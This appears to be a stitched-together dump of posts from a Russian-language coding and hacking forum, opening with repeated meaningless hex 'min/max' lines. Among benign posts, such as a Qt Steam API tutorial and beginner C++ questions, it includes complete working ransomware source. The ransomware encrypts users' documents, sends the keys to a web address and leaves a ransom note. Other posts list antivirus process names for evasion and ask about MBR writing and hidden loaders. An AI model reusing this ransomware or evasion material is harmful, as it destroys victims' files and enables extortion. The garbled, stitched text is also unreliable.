min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186ad, max 19b49
min 186a5, max 19b49
min 186a5, max 19b49
...
И собственно вопрос, видел ли кто в интернетах подобную по сути статистику с
привязкой к осям, процам и виртуалкам?...или это вообще путь в никуда?
Я понимаю что статсу нужно собирать на протяжении суток, с равным ритмом
нагрузок и выкладывать с привязкой по загрузке проца, но здесь не за цифры а
за концепт.
И да я в курсе что мин макс нужны не только глобальные но и для каждого
отдельного прохода, повторюсь что здесь не про цифры.
Имеем два массива, один из которых динамический. К этому динамическому массиву
нужно дописать второй. Вот собственно реализация.
Флаги нужны для того, чтобы убрать ненужные нулевые байты (концы строк) и
соответственно, сменить количество скопированных байт.
Функция также НЕ выделяет дополнительный объем памяти на всякий случай. Тоесть
ровно столько, сколько нужно.
Code:Copy to clipboard
#define DATA_TYPE_BINARY 0
#define DATA_TYPE_WIDECHAR 2
#define DATA_TYPE_CHAR 3
LPVOID memcnc(LPVOID dest, LPCVOID data, LPDWORD destSize, const DWORD dataSize, int dataType)
{
LPVOID tmp = NULL;
HANDLE hHeap = GetProcessHeap();
DWORD resultSize = *destSize + dataSize;
char* dest_char = (char*)dest;
if (destSize && dest)
{
if (hHeap == INVALID_HANDLE_VALUE)
return NULL;
tmp = HeapAlloc(hHeap, HEAP_NO_SERIALIZE, *destSize);
if (!tmp)
return NULL;
memcpy(tmp, dest, *destSize);
if (!HeapFree(hHeap, HEAP_NO_SERIALIZE, dest))
{
HeapFree(hHeap, HEAP_NO_SERIALIZE, tmp);
return NULL;
}
dest = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, resultSize);
if (!dest)
{
HeapFree(hHeap, HEAP_NO_SERIALIZE, tmp);
return NULL;
}
memcpy(dest, tmp, *destSize);
dest_char = (char*)dest +(*destSize);
switch (dataType)
{
case DATA_TYPE_CHAR:
resultSize -= sizeof(char)*2;
dest_char -= sizeof(char);
break;
case DATA_TYPE_WIDECHAR:
resultSize -= sizeof(wchar_t)*2;
dest_char -= sizeof(wchar_t);
break;
}
memcpy(dest_char, data, dataSize);
*destSize = resultSize;
return dest;
}
else
{
dest = HeapAlloc(hHeap, HEAP_NO_SERIALIZE, dataSize);
if (!dest)
return NULL;
memcpy(dest, data, dataSize);
*destSize = dataSize;
return dest;
}
}
кто что слышал про лодер на яве зависимый от node.js ну или в конце концов кто на это способен?
Добрый вечер.
Делюсь кодом ransomware на С (для исследования)
Думаю лишним не будет :smile47:
Code:Copy to clipboard
/*
*
*
* Algorithm from HT, with C Sources
* Encrypt with AES256
*
* DreamLords)
*
*/
using System;
using System.Diagnostics;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Security;
using System.Security.Cryptography;
using System.IO;
using System.Net;
using Microsoft.Win32;
using System.Runtime.InteropServices;
using System.Text.RegularExpressions;
namespace mafiaware {
public partial class Form1 : Form {
//Web untuk Password Unlock nya
string webPass = "https://yourweb.com/cyberking/w00t.php?g0ttrap=";
string namaUser = Environment.UserName;
string namaKompi = System.Environment.MachineName.ToString();
string dirUsr = "C:\\Users\\"; //folder User
// bisa di coba ke folder system32
//string dirSystm = "C:\\Windows\\"; <-- folder Windows di targetkan ke system32 di ubah/tambah bagian fungsi ngencrypt nya
public Form1() {
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e) {
Opacity = 0;
this.ShowInTaskbar = false;
ngeEnrypt(); //mulai ngencrypt nya pas loading
ngeEnrypt2();
ngeEnrypt3();
ngeEnrypt4();
}
private void Form_Shown(object sender, EventArgs e) {
Visible = false;
Opacity = 100;
}
//Algo encrypt AES256
public byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes) {
byte[] encryptedBytes = null;
byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
using (MemoryStream ms = new MemoryStream()) {
using (RijndaelManaged AES = new RijndaelManaged()) {
AES.KeySize = 256;
AES.BlockSize = 128;
var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize / 8);
AES.IV = key.GetBytes(AES.BlockSize / 8);
AES.Mode = CipherMode.CBC;
using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write)) {
cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
cs.Close();
}
encryptedBytes = ms.ToArray();
}
}
return encryptedBytes;
}
//buat randompass encrypt
public string BuatPass(int length) {
const string valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/";
StringBuilder res = new StringBuilder();
Random rnd = new Random();
while (0 < length--){
res.Append(valid[rnd.Next(valid.Length)]);
}
return res.ToString();
}
//ngirim pass hasil trap ke web
public void ngirimPass(string password){
string g0ttrap = namaKompi + "-" + namaUser + " " + password;
var fullUrl = webPass + g0ttrap;
var conent = new System.Net.WebClient().DownloadString(fullUrl);
}
//ngencrypt file
public void ngencryptFile(string file, string password) {
byte[] bytesToBeEncrypted = File.ReadAllBytes(file);
byte[] passwordBytes = Encoding.UTF8.GetBytes(password);
//ngehash pass dg sha256
passwordBytes = SHA256.Create().ComputeHash(passwordBytes);
byte[] bytesEncrypted = AES_Encrypt(bytesToBeEncrypted, passwordBytes);
File.WriteAllBytes(file, bytesEncrypted);
System.IO.File.Move(file, file+".Locked-Mafiaware"); //ekstensi hasil ngencrypt
}
//ngencrypt folder
public void ngencryptFolder(string location, string password) {
//ekstensi yang mau di encrypt
var validExtensions = new[] {
".txt", ".doc", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd", ".zip", ".rar"
};
string[] files = Directory.GetFiles(location);
string[] childDirectories = Directory.GetDirectories(location);
for (int i = 0; i < files.Length; i++){
string extension = Path.GetExtension(files[i]);
if (validExtensions.Contains(extension))
{
ngencryptFile(files[i],password);
}
}
for (int i = 0; i < childDirectories.Length; i++){
ngencryptFolder(childDirectories[i],password);
}
}
public void ngeEnrypt() {
string password = BuatPass(15);
string path = "\\Desktop";
string startPath = dirUsr + namaUser + path;
ngirimPass(password);
ngencryptFolder(startPath,password);
pesanReadMe();
password = null;
System.Windows.Forms.Application.Exit();
}
public void ngeEnrypt2() {
string password = BuatPass(15);
string path = "\\Downloads";
string startPath = dirUsr + namaUser + path;
ngirimPass(password);
ngencryptFolder(startPath,password);
password = null;
System.Windows.Forms.Application.Exit();
}
public void ngeEnrypt3() {
string password = BuatPass(15);
string path = "\\Pictures";
string startPath = dirUsr + namaUser + path;
ngirimPass(password);
ngencryptFolder(startPath,password);
password = null;
System.Windows.Forms.Application.Exit();
}
//ngencrypt 4 bagian document, jika ada folder music / shortcut music, itu ga bakal kena, perbedaan auth :p akalin sendiri utk lebih jelas
public void ngeEnrypt4() {
string password = BuatPass(15);
string path = "\\Documents";
string startPath = dirUsr + namaUser + path;
ngirimPass(password);
ngencryptFolder(startPath,password);
password = null;
System.Windows.Forms.Application.Exit();
}
//Pesanini diletakkan di folder desktop ( bisa di ubah atau di tambah lokasi nya, edit di bagian fungsi ngencrypt )
public void pesanReadMe() {
string path = "\\Desktop\\READ_ME.txt";
string fullpath = dirUsr + namaUser + path;
string[] lines = { "Cyberking was Encrypt your File with MafiaWare", "Email me and meet me", "my email cyberking@indonesianbacktrack.or.id" };
System.IO.File.WriteAllLines(fullpath, lines);
}
}
}
технология конечно уже старая, но все имеет право присуствовать.( я художник, я так вижу)
В общем, я не очень хорошо разбираюсь в c#. Почему после компиляции появляется папка, весом 300мб? И только из этой папки работает мой exe. Каким образом можно уменьшить вес? Или я не там файл беру? Буду признателен за помощь, не кидайтесь камнями
Кто подскажет как создать картинку с текстом на чистой джаве?
И как сделать перекрытие окна на андроид
Есть такие? или как это можно сделать средствами чистого Nt\Zw?
del
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#define PORT 80
struct sockaddr_in hrm;//??????????????????????
int conn(){
int s;
s = socket(AF_INET, SOCK_STREAM, 0);//Создание сокета по протоколу TCP
if((connect(s,(struct sockaddr*)&hrm/???????????/,sizeof(struct
sockaddr)/???????????/))<0);
}
помогите!!!!!! объясните пожалуйста что значат выделенные функции
Здравствуйте.
Планирую работать с мбр на асме (чтение и запись).
Правильно понимаю, что код для мбр нужно конвертировать в нех или хор и
грузить через полезную нагрузку?
Если через полезную нагрузку, то как именно?
Cписок АВ:
360 Total Security Essential ---
QHACTIVEDEFENSE.EXE,QHWATCHDOG.EXE,QHSAFETRAY.EXE
AVG Internet Security --- AVGSVC.EXE,AVGUI.EXE
AhnLab V3 Light --- V3LITE.EXE,V3MAIN.EXE,V3SP.EXE
Avast Internet Security --- AVASTUI.EXE,AVASTSVC.EXE
Avira Internet Security ---
AVGUARD.EXE,AVSHADOW.EXE,AVGNT.EXE,AVIRA.SERVICEHOST.EXE,AVIRA.SYSTRAY.EXE
BitDefender Total Security --- BDAGENT.EXE,BDREDLINE.EXE,BDSS.EXE
BullGuard Internet Security ---
BULLGUARDBHVSCANNER.EXE,BULLGUARDSCANNER.EXE,BULLGUARDTRAY.EXE,BULLGUARDUPDATE.EXE,BULLGUARD.EXE
Comodo Internet Security --- CMDAGENT.EXE,CISTRAY.EXE,CIS.EXE
DrWeb Total Security ---
SPIDERAGENT.EXE,DWENGINE.EXE,DWARKDAEMON.EXE,DWNETFILTER.EXE
Emsisoft Internet Security --- A2SERVICE.EXE,A2GUARD.EXE,A2START.EXE
Eset Smart Security --- EGUI.EXE,EKRN.EXE
F-Secure Internet Security --- FSHOSTER32.EXE,FSHOSTER64.EXE
Fortinet Smart Security ---
FORTISSLVPNDAEMON.EXE,FORTIESNAC.EXE,FORTIWF.EXE,FORTITRAY.EXE,FCHELPER64.EXE,FORTIPROXY.EXE,FCAPPDB.EXE,FCDBLOG.EXE
Kaspersky Internet Security --- AVP.EXE,AVPUI.EXE
Malwarebytes Anti-Malware --- MBAMSERVICE.EXE,MBAMTRAY.EXE
McAfee Endpoint Protection ---
MCSACORE.EXE,MCAPEXE.EXE,MCSHIELD.EXE,MCSVHOST.EXE
Norton Security Deluxe --- NORTONSECURITY.EXE
Panda Internet Security --- PSUASERVICE.EXE,PSUAMAIN.EXE,PSANHOST.EXE,
Sophos Anti-Virus --- SDRSERVICE.EXE,SWC_SERVICE.EXE,SWI_SERVICE.EXE,SSP.EXE
Symantec Endpoint Security 12 --- CCSVCHST.EXE,SMCGUI.EXE
Symantec Endpoint Security 14 --- CCSVCHST.EXE,SMCGUI.EXE
Trend Micro Internet Security ---
CORESERVICESHELL.EXE,COREFRAMEWORKHOST.EXE,UIWATCHDOG.EXE,UISEAGNT.EXE
Это список актуальных процессов топ АВ.
Доброго времени суток понадобилось собрать всю инфу о машине вот собственно
вопрос как узнать модель HDD и объем (общий) или может кто знает где в реестре
инфу можно считать ???
Заранее спасибо.
Возможно на асме устроить софт со скрытой подгрузкой изображения, модуля и
расшифровки стенографии в изображении с помощью этого модуля? В последующем
поместить в изображение информацию и отправить дальше.
Если возможно, то каким образом (хотя бы в теории)?
Не хочу сливать детали в паблик, но нужен совет специалистов или тех, кто работает в этом направлении.
Всем привет. Пишу автокликер, который должен распознавать кнопку на сайте и
кликать по ней
Есть ли готовые темплейты для взаимодействия программы на C++ с HTML сайтом, а
конкретно с управлением определенной кнопкой по ее ID? Я новичек в С++ прост,
а так базовые знания в других языках есть
Заранее спасибо)
Здравствуйте.
Нужно небольшое разъяснение по Assembler + WinAPI.
Как лучше использовать сторонние функции, через import и extern или только extern?
Пример:
1. import и extern - macro_import_function kernel32.dll, _ExitProcess
2. extern - extern _ExitProcess@4
И вызов функции - call _ExitProcess@4.
Сейчас я использую второй вариант и импортирую данные из dll при линковке, так
как не хочу работать с макросами. Но я не понимаю, для чего нужен @4 (в данном
случае) и откуда это взять? Без @4 линковка с ошибками, что нет defined.
Я думал, что это данные из dll, но об этом ничего не указано.
Пример кода.
extern _CreateWindowExA@48
extern _DefWindowProcA@16
extern _DispatchMessageA@4
extern _ExitProcess@4
extern _GetMessageA@16
extern _GetModuleHandleA@4
extern _IsDialogMessageA@8
extern _LoadImageA@24
extern _PostQuitMessage@4
extern _RegisterClassExA@4
extern _ShowWindow@8
extern _TranslateMessage@4
extern _UpdateWindow@4
Как работать с defined?
Нужно ли на Assembler дополнительно объявлять функции как это происходит у других языков программирования?
Пример для C++.
int WINAPI MessageBox(
In_opt HWND hWnd,
In_opt LPCTSTR lpText,
In_opt LPCTSTR lpCaption,
In UINT uType
);
Копирайт © DSTR!
Доброго времени суток!
Хотел бы немного рассказать (и показать) о взаимодействии со Steam WEB Api
средствами Qt и C++.
Пишите, если хотите продолжение: статью о работе с инвентарем Steam:
получение цены предметов и т.п
Версия, которую мы получим в конце этого урока отлично подходит для повседневного использования тем пользователям, кому часто необходимо узнать оригинальный SteamID64 и дату регистрации.
Ниже пример окончательной программы:
Исходный код, а также скомпилированный проект доступен по ссылке:
https://goo.gl/TCivNm
ВЕРСИИ:
— SteamUserInfoFull — скомпилированная полная версия этой программы (как на
скриншоте выше).
— SteamUserInfoLite — скомпилированная версия из статьи.
— SteamUserInfoSource — исходный код из статьи.
В этой статье описана самая малая часть, так как всего очень много и за один
раз всё не покажешь.
Мы не будем рассматривать то, как устроен формат ответа Json-файла от Steam.
Всё это можете посмотреть самостоятельно, вставив запрос в браузер.
Я использую компилятор MinGW32.
У вас должна быть поддержка SSL (если нет - скачайте эти два файла и добавьте
в папку с компилируемым проектом): https://yadi.sk/d/lZZrpzoH3afXY8
Итак, мы рассмотрим:
— получение оригинальной ссылки на профиль (SteamID64);
— получение аватарки профиля;
— получение даты регистрации аккаунта;
— получение даты последней активности;
— получение статуса VAC, количество игровых блокировок, дней с момента
последней блокировки и статус профиля в сообществе Steam (в простонародье —
КТ).
Приступим.
1)
Для начала работы нам понадобится наш уникальный API ключ для доступа к
сервисам Steam.
Чтобы его получить нужен БЕЗЛИМИТНЫЙ аккаунт Steam.
Переходим по ссылке https://steamcommunity.com/dev/apikey и вводим рандомный
адрес (к примеру, qwertyabc@abcd.com), нажимаем
на кнопочку регистрации и сохраняем наш ключ.
Теперь запускаем Qt, создаем проект Qt Widgets Application -> указываем
название как у меня, чтобы не было разногласий: SteamUserInfo и дальше
указываете свой путь.
Проект создался.
В файле SteamUserInfo.pro прописываете: QT += network (скрин)
3)
Теперь создаем первый класс. Кликаем на название проекта -> Add new... ->
слева выбираем C++, а справа C++ Class.
Назовем его SteamUserProfileLink
4)
Реализуем наш класс.
В файле SteamUserProfileLink.h создаем переменные и прототипы функций:
C++:Copy to clipboard
#include <QtNetwork/QtNetwork>
#include <QString>
class SteamUserProfileLink
{
QString apiKey;
QString steamID64;
public:
SteamUserProfileLink();
void setApiKey(QString key);
bool setConnection(const QString &steamUrl);
QString getSteamID64() const;
};
Реализуем эти функции.
Файл SteamUserProfileLink.cpp:
C++:Copy to clipboard
#include "SteamUserProfileLink.h"
SteamUserProfileLink::SteamUserProfileLink() { }
void SteamUserProfileLink::setApiKey(QString key)
{
apiKey = key;
}
//true - соединение успешно: вся информация загружена.
//false - не удалось получить ответ от сервера.
bool SteamUserProfileLink::setConnection(const QString &steamUrl)
{
QNetworkAccessManager manager;
QNetworkReply &reply = *manager.get(
//Отправляем запрос.
QNetworkRequest(QString
("http://api.steampowered.com/ISteamUser/ResolveVanityURL/v0001/?key=%1&vanityurl=%2").arg(apiKey).arg(steamUrl)));
QEventLoop loop; //Ждем ответ от сервера.
QObject::connect(&manager, &QNetworkAccessManager::finished, &loop, &QEventLoop::quit);
loop.exec();
const QJsonDocument document = QJsonDocument::fromJson(reply.readAll()); //Загружаем Json документ.
//Если ответ равен 1, значит SteamID64 успешно получен.
if (document.object().value("response").toObject().value("success").toDouble() == 1.0) {
steamID64 = document.object().value("response").toObject().value("steamid").toString(); //Запоминаем.
return true; //Возвращаем true: успешно.
}
//Иначе считаем, что такого steamUrl не существует и возвращаем false.
return false;
}
QString SteamUserProfileLink::getSteamID64() const
{
return steamID64;
}
Теперь по той же схеме создаем следующий класс SteamPlayerSummaries
Файл SteamPlayerSummaries.h:
C++:Copy to clipboard
#include <QtNetwork/QtNetwork>
#include <QString>
#include <QPixmap>
class SteamPlayerSummaries
{
QString apiKey;
uint timeCreated;//Дата создания аккаунта в формате UTC.
uint lastLogOff; //Дата последней активности в формате UTC.
QPixmap avatar; //Аватарка профиля.
void loadAvatar(const QString &avatarUrl);
public:
SteamPlayerSummaries();
void setApiKey(QString key);
bool setConnection(const QString &steamID64);
QString getLastLofOff() const; //Дата последней активности в формате дата-месяц-год.
QString getTimeCreated() const; //Дата создания профиля в формате дата-месяц-год.
QPixmap getAvatar() const;
};
Файл SteamPlayerSummaries.cpp:
C++:Copy to clipboard
#include "SteamPlayerSummaries.h"
SteamPlayerSummaries::SteamPlayerSummaries() { }
void SteamPlayerSummaries::setApiKey(QString key)
{
apiKey = key;
}
//true - соединение успешно: вся информация загружена.
//false - не удалось получить ответ от сервера.
bool SteamPlayerSummaries::setConnection(const QString &steamID64)
{
QNetworkAccessManager manager;
QNetworkReply &reply = *manager.get(
//Отправляем запрос.
QNetworkRequest(QString
("http://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=%1&steamids=%2").arg(apiKey).arg(steamID64)));
QEventLoop loop; //Ждем ответ от сервера.
QObject::connect(&manager, &QNetworkAccessManager::finished, &loop, &QEventLoop::quit);
loop.exec();
const QJsonDocument document = QJsonDocument::fromJson(reply.readAll());
if (document.isEmpty()) //ApiKey неправильный.
return false;
//Конвертируем массив в object для обращения к элементам по имени, а не индексах.
const QJsonObject object = document.object().value("response").toObject().value("players").toArray()[0].toObject();
if (object.isEmpty()) //SteamID не найден.
return false;
loadAvatar(object["avatarfull"].toString()); //Загружаем аватарку.
timeCreated = static_cast<unsigned int>(object["timecreated"].toInt()); //Получаем дату регистрации аккаунта.
lastLogOff = static_cast<unsigned int>(object["lastlogoff"].toInt()); //Последняя активность.
return true; //Возвращаем true: успешно загружено.
}
void SteamPlayerSummaries::loadAvatar(const QString &avatarUrl) //Загрузка аватарки.
{
QNetworkAccessManager manager;
QNetworkReply &reply = *manager.get(QNetworkRequest(avatarUrl));
QEventLoop loop; //Ждем ответ от сервера.
QObject::connect(&manager, &QNetworkAccessManager::finished, &loop, &QEventLoop::quit);
loop.exec();
const QByteArray header = reply.readAll();
avatar.loadFromData(header,"jpg");
}
QString SteamPlayerSummaries::getLastLofOff() const
{
//Конвертируем UTC в обычное представление времени.
static const QString c = QDateTime::fromTime_t(lastLogOff).toString("dd-MM-yyyy");
return c;
}
QString SteamPlayerSummaries::getTimeCreated() const
{
//Конвертируем UTC в обычное представление времени.
static const QString c = QDateTime::fromTime_t(timeCreated).toString("dd-MM-yyyy");
return c;
}
QPixmap SteamPlayerSummaries::getAvatar() const
{
return avatar;
}
Теперь создадим файлик для получения информации о блокировках аккаунта.
Создадим класс SteamPlayerBans:
Файл SteamPlayerBans.h:
C++:Copy to clipboard
#include <QtNetwork/QtNetwork>
class SteamPlayerBans
{
QString apiKey;
bool communityBanned; //Блокировка в сообществе (КТ).
bool VACBanned; //Блокировка VAC.
QString economyBanned;//Блокировка обмена.
int numberOfGameBans;//Количество игровых блокировок.
int numberOfVACBans; //Количество VAC блокировок.
int daysSinceLastBan;//Дней с момента последней блокировки.
public:
SteamPlayerBans();
void setApiKey(QString key);
bool setConnection(const QString &steamID64);
bool isCommunityBanned() const;
bool isVACBanned() const;
QString getEconomyBan() const;
int getNumberOfGameBans() const;
int getNumberOfVACBans() const;
int getDaysSinceLastBan() const;
};
Реализация SteamPlayerBans.cpp
C++:Copy to clipboard
#include "SteamPlayerBans.h"
SteamPlayerBans::SteamPlayerBans() { }
void SteamPlayerBans::setApiKey(QString key)
{
apiKey = key;
}
//true - соединение успешно: вся информация загружена.
//false - не удалось получить ответ от сервера.
bool SteamPlayerBans::setConnection(const QString &steamID64)
{
QNetworkAccessManager manager;
QNetworkReply &reply = *manager.get(
//Отправляем запрос.
QNetworkRequest(QString
("http://api.steampowered.com/ISteamUser/GetPlayerBans/v1/?key=%1&steamids=%2&format=json").arg(apiKey).arg(steamID64)));
QEventLoop loop; //Ждем ответ от сервера.
QObject::connect(&manager, &QNetworkAccessManager::finished, &loop, &QEventLoop::quit);
loop.exec();
QJsonDocument document = QJsonDocument::fromJson(reply.readAll());
if (document.isEmpty()) //ApiKey неправильный.
return false;
const QJsonObject object = document.object().value("players")[0].toObject();
if (object.isEmpty()) //SteamID не найден.
return false;
communityBanned = object["CommunityBanned"].toBool();
VACBanned = object["VACBanned"].toBool();
economyBanned = object["EconomyBan"].toBool();
numberOfGameBans = object["NumberOfGameBans"].toInt();
numberOfVACBans = object["NumberOfVACBans"].toInt();
daysSinceLastBan = object["DaysSinceLastBan"].toInt();
return true;
}
bool SteamPlayerBans::isCommunityBanned() const
{
return communityBanned;
}
bool SteamPlayerBans::isVACBanned() const
{
return VACBanned;
}
QString SteamPlayerBans::getEconomyBan() const
{
return economyBanned;
}
int SteamPlayerBans::getNumberOfGameBans() const
{
return numberOfGameBans;
}
int SteamPlayerBans::getNumberOfVACBans() const
{
return numberOfVACBans;
}
int SteamPlayerBans::getDaysSinceLastBan() const
{
return daysSinceLastBan;
}
Теперь осталось самое простое — создать графический интерфейс для взаимодействия.
Файл MainWindow.h
C++:Copy to clipboard
#include <QMainWindow>
#include <QLineEdit>
#include <QWidget>
#include <QPushButton>
#include <QLabel>
#include <QLayout>
#include <QGroupBox>
#include <QMessageBox>
#include "SteamUserProfileLink.h"
#include "SteamPlayerSummaries.h"
#include "SteamPlayerBans.h"
namespace Ui {
class MainWindow;
}
class MainWindow : public QMainWindow
{
Q_OBJECT
public:
explicit MainWindow(QWidget *parent = nullptr);
~MainWindow();
//Функция обработки.
void setup();
//Парс ссылки: получаем только url: steamcommunity.com/id/abcd -> abcd
QString getUrl(QString steamProfileUrl);
private:
Ui::MainWindow *ui;
};
Файл MainWindow.cpp:
C++:Copy to clipboard
#include "MainWindow.h"
#include "ui_MainWindow.h"
MainWindow::MainWindow(QWidget *parent) :
QMainWindow(parent),
ui(new Ui::MainWindow)
{
ui->setupUi(this);
QFont font;
setWindowTitle("SteamUserInfo");
font.setPointSize(10);
setFont(font);
QPalette palette;
palette.setBrush(QPalette::Background, QColor(0xFCE7FC));
setPalette(palette);
setFixedSize(500, 600);
setup();
}
MainWindow::~MainWindow()
{
delete ui;
}
void MainWindow::setup()
{
QWidget *mainWidget = new QWidget(this);
QVBoxLayout *mainLayout = new QVBoxLayout(mainWidget);
mainLayout->setSizeConstraint(QLayout::SetFixedSize);
QGroupBox *boxSettings = new QGroupBox("Конфигурация:");
QGridLayout *boxLayout = new QGridLayout(boxSettings);
boxLayout->addWidget(new QLabel("Вставьте ApiKey:"), 0, 0);
QLineEdit *lineApiKey = new QLineEdit();
boxLayout->addWidget(lineApiKey, 0, 1);
boxLayout->addWidget(new QLabel("Вставьте ссылку на аккаунт:"), 1, 0);
QLineEdit *lineSteamProfileLink = new QLineEdit();
boxLayout->addWidget(lineSteamProfileLink, 1, 1);
QPushButton *btnFind = new QPushButton("Найти профиль");
boxLayout->addWidget(btnFind);
mainLayout->addWidget(boxSettings);
QGroupBox *boxAccountInfo = new QGroupBox("Информация про аккаунт");
QGridLayout *layoutAccount = new QGridLayout(boxAccountInfo);
layoutAccount->addWidget(new QLabel("Аватарка:"), 0, 0);
QLabel *lblAvatar = new QLabel();
lblAvatar->setFixedSize(184, 184);
layoutAccount->addWidget(lblAvatar, 0, 1);
layoutAccount->addWidget(new QLabel("Оригинальная ссылка (SteamID64):"), 1, 0);
QLineEdit *lineOriginalSteamLink = new QLineEdit();
lineOriginalSteamLink->setReadOnly(true);
layoutAccount->addWidget(lineOriginalSteamLink, 1, 1);
layoutAccount->addWidget(new QLabel("Дата регистрации:"), 2, 0);
QLineEdit *lineTimeCreated = new QLineEdit();
lineTimeCreated->setReadOnly(true);
layoutAccount->addWidget(lineTimeCreated, 2, 1);
layoutAccount->addWidget(new QLabel("Последняя активность:"), 3, 0);
QLineEdit *lineLastLogOff = new QLineEdit();
lineLastLogOff->setReadOnly(true);
layoutAccount->addWidget(lineLastLogOff, 3, 1);
layoutAccount->addWidget(new QLabel("VAC блокировка:"), 4, 0);
QLineEdit *lineVacBanned = new QLineEdit();
lineVacBanned->setReadOnly(true);
layoutAccount->addWidget(lineVacBanned, 4, 1);
layoutAccount->addWidget(new QLabel("Кол-во игровых блокировок:"), 5, 0);
QLineEdit *lineGamebans = new QLineEdit();
lineGamebans->setReadOnly(true);
layoutAccount->addWidget(lineGamebans, 5, 1);
layoutAccount->addWidget(new QLabel("Дней с последней блокировки:"), 6, 0);
QLineEdit *lineDaysSinceLastBan = new QLineEdit();
lineDaysSinceLastBan->setReadOnly(true);
layoutAccount->addWidget(lineDaysSinceLastBan, 6, 1);
layoutAccount->addWidget(new QLabel("Блокировка в сообществе (КТ):"), 7, 0);
QLineEdit *lineCommunityBan = new QLineEdit();
lineCommunityBan ->setReadOnly(true);
layoutAccount->addWidget(lineCommunityBan , 7, 1);
mainLayout->addWidget(boxAccountInfo);
connect(btnFind, &QPushButton::clicked, this, [=]() {
btnFind->setEnabled(false);
const QString apiKey = lineApiKey->text();
const QString steamName = MainWindow::getUrl(lineSteamProfileLink->text());
QString steamID64;
if (lineSteamProfileLink->text().contains("id")) {
SteamUserProfileLink steamLink;
steamLink.setApiKey(apiKey);
if (steamLink.setConnection(steamName)) {
steamID64 = steamLink.getSteamID64();
}
else {
QMessageBox::information(this, "Сообщение", "Ошибка. Пользователя найти не удалось.\nПроверье ApiKey и ссылку на профиль.");
btnFind->setEnabled(true);
return ;
}
}
else
steamID64 = steamName;
SteamPlayerSummaries playerSummaries;
playerSummaries.setApiKey(apiKey);
if (!playerSummaries.setConnection(steamID64)) {
QMessageBox::information(this, "Сообщение", "Ошибка. Пользователя найти не удалось.\nПроверье ApiKey и ссылку на профиль.");
btnFind->setEnabled(true);
return ;
}
lineOriginalSteamLink->setText("https://steamcommunity.com/profiles/" + steamID64);
lblAvatar->setPixmap(playerSummaries.getAvatar());
lineTimeCreated->setText(playerSummaries.getTimeCreated());
lineLastLogOff->setText(playerSummaries.getLastLofOff());
SteamPlayerBans bans;
bans.setApiKey(apiKey);
bans.setConnection(steamID64);
lineVacBanned->setText(bans.isVACBanned()? "ДА | " + QString::number(bans.getNumberOfVACBans()): "НЕТ");
lineGamebans->setText(QString::number(bans.getNumberOfGameBans()));
lineDaysSinceLastBan->setText(QString::number(bans.getDaysSinceLastBan()));
lineCommunityBan->setText(bans.isCommunityBanned()? "ДА" : "НЕТ");
btnFind->setEnabled(true);
});
}
QString MainWindow::getUrl(QString steamProfileUrl)
{
if (steamProfileUrl.back() == '/')
steamProfileUrl = steamProfileUrl.left(steamProfileUrl.length() - 1);
steamProfileUrl = steamProfileUrl.right(steamProfileUrl.length() - steamProfileUrl.lastIndexOf('/') - 1);
return steamProfileUrl;
}
Готово! Теперь компилируем и любуемся результатом:
Учу потихоньку С++, совсем недавно начал, а вопросы, естественно имеются.
Очень хотелось бы получить ответ на них, потому что иногда ответов на вопросы
нет в книгах, а человек его знает. Тем более я убедился, что здесь есть
знающие люди.
Вот собственно, сам код:
Code:Copy to clipboard
#include <iostream>
#include <conio.h>
int main()
{
std::cout << " Hello, enter any number, i wil do with it something\n";
float number;
std::cin >> number;
if ( number == 0)
{
std::cout << number;
std::cout << "\n You have entered that numberwhich is the same, as Zero\n";
}
if (number > 1)
{
std::cout << " NUmber is more than 1";
}
if ( number < 1)
{
std::cout << " NUmber you have entered is smaler than 1";
}
else
std::cout << " WTF!? You have entered something extraordinary!";
getch();
}
Текст полная чушь, что то ничего другого в голову не пришло, но суть не в
этом. Почему он выполняет не то что я хочу?
Например, если ввиду число 0, то оп , как и надо по идее, напишет "You have
entered that numberwhich is the same, as Zero", но после этого и "NUmber you
have entered is smaler than 1", то есть третий if. Хотя, по идее, NUmber же
равен 0, а не больше одного, тем более выводить два if-а одновременно.
Прошу ответить на мой вопрос, может и очень глупый, но все мы когда то
учились
С уважением, WTF. :pioneer:
C++ Boost Graph Library
Джереми Сик, Лай-Кван Ли, Эндрю Ламсдэйн
2006г.
